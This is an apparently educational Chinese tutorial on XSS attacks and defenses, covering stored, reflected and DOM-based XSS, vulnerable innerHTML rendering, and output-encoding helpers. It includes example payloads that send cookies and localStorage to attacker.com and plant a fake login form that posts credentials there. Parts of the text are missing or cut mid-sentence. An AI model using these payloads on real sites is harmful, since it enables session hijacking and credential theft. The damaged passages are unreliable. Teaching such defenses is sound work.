XSS 攻击与防护
XSS 攻击与防护
XSS(Cross-Site Scripting,跨站脚本攻击)是最古老也最顽固的前端安全漏洞之一。它的本质是:网站把"数据"当成了"代码"来执行。攻击者把一段恶意脚本"伪装"成普通内容(比如一条评论、一个昵称、一个搜索词)提交给网站,网站又不加处理地把它渲染进页面,浏览器分不清这是数据还是代码,就把恶意脚本当成网站自己的脚本执行了。
打个比方:这就像餐厅把顾客写的留言直接当成后厨的操作指令去执行。顾客本该只是"留言",结果他写的"把保险柜打开"被厨师当成命令照做了。XSS 防护的核心,就是让浏览器始终清楚地知道"哪些是数据、哪些是代码",绝不把用户数据当代码跑。
XSS 长期位居 OWASP Top 10。它之所以危险,是因为脚本运行在受害者浏览器里,拥有和网站本身完全相同的权限:能读 Cookie、能发请求、能改页面、能冒充用户做任何事。
🛡️ XSS 攻击类型
存储型 XSS(Stored / Persistent):
反射型 XSS(Reflected):
DOM 型 XSS(DOM-based):
为什么 XSS 危险
一段成功执行的 XSS 脚本,等于攻击者在受害者浏览器里"化身"成了受害者本人。它可以:窃取会话 Cookie 实现盗号;伪造登录框钓鱼;篡改页面内容进行诈骗;以受害者身份发帖、转账、改资料。因为脚本与网站同源,几乎所有前端能做的事它都能做。存储型 XSS 更能让一个受害者的浏览器去感染下一个访问者,滚雪球式扩散。
💻 代码示例:XSS 攻击演示
// 存储型 XSS
// 恶意评论
const maliciousComment = '<script>alert("XSS")</script>';
// 存储到数据库
saveComment(maliciousComment);
// 其他用户访问时
function displayComments() {
comments.forEach(comment => {
// 不安全的渲染:把数据当 HTML 解析
document.getElementById('comments').innerHTML = comment;
});
}
// 反射型 XSS
// 恶意 URL
const maliciousURL = 'https://example.com/search?q=<script>alert("XSS")</script>';
// 服务器反射
function search(q) {
return `Search results for: ${q}`;
}
// DOM 型 XSS
// 不安全的 DOM 操作
function updateContent() {
const userInput = getUserInput();
document.getElementById('content').innerHTML = userInput;
}
// 恶意输入:利用 img 的 onerror 绕过 script 标签过滤
const maliciousInput = '<img src=x onerror="alert(\'XSS\')">';
updateContent(maliciousInput);XSS 攻击危害
数据窃取: 窃取 Cookie、会话令牌、localStorage 中的敏感信息,实施钓鱼。
会话劫持: 冒充用户身份,执行未授权操作,修改账户数据。
网站破坏: 篡改页面、恶意重定向、植入广告,损害声誉。
拒绝服务: 死循环耗尽资源、使页面崩溃,影响体验。
代码示例
数据窃取示例
// 窃取 Cookie
const maliciousScript = `
<script>
// 窃取所有 cookie
const cookies = document.cookie;
// 发送到攻击者服务器
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ cookies }),
headers: { 'Content-Type': 'application/json' }
});
</script>
`;
// 窃取本地存储
const stealLocalStorage = `
<script>
const localStorageData = {};
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
localStorageData[key] = localStorage.getItem(key);
}
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ localStorageData }),
headers: { 'Content-Type': 'application/json' }
});
</script>
`;
// 钓鱼攻击
const phishingScript = `
<script>
// 创建虚假登录表单
const fakeForm = document.createElement('form');
fakeForm.method = 'POST';
fakeForm.action = 'https://attacker.com/steal-credentials';
const usernameInput = document.createElement('input');
usernameInput.name = 'username';
usernameInput.placeholder = 'Username';
const passwordInput = document.createElement('input');
passwordInput.name = 'password';
passwordInput.type = 'password';
passwordInput.placeholder = 'Password';
const submitButton = document.createElement('button');
submitButton.type = 'submit';
submitButton.textContent = 'Login';
fakeForm.appendChild(usernameInput);
fakeForm.appendChild(passwordInput);
fakeForm.appendChild(submitButton);
document.body.appendChild(fakeForm);
</script>
`;XSS 常见攻击向量(防御前先认识它)
攻击者远不止用 `` 提前闭合标签)。
// JS 字符串上下文编码:非字母数字转 \uHHHH,并特别处理 </ 与行分隔符
function encodeForJS(str) {
return String(str).replace(/[^a-zA-Z0-9]/g, function (c) {
const code = c.charCodeAt(0);
// 特殊:U+2028/U+2029 会被 JS 当作换行导致语法错误/注入
return '\\u' + ('0000' + code.toString(16)).slice(-4);
});
}
// 在页面注水(hydration)数据时,绝不要直接字符串拼接:
// 危险:<script>var data = "USERDATA"</script>
// USERDATA = '";alert(1);//' 即可逃逸
// 正确:用 JSON.stringify 并转义 HTML 敏感字符,防止 </script> 与 U+2028
function safeJsonForScript(obj) {
return JSON.stringify(obj)
.replace(/</g, '\\u003C')
.replace(/>/g, '\\u003E')
.replace(/&/g, '\\u0026')
.replace(/\u2028/g, '\\u2028')
.replace(/\u2029/g, '\\u2029');
}
// 用法:<script>window.__DATA__ = ${safeJsonForScript(data)}</script>JS 数值上下文:只允许数字,直接 `Number()` 强转或正则校验 `/^-?\d+(\.\d+)?$/`,非数字一律拒绝,别做转义。
上下文五:CSS 上下文
数据插入到 `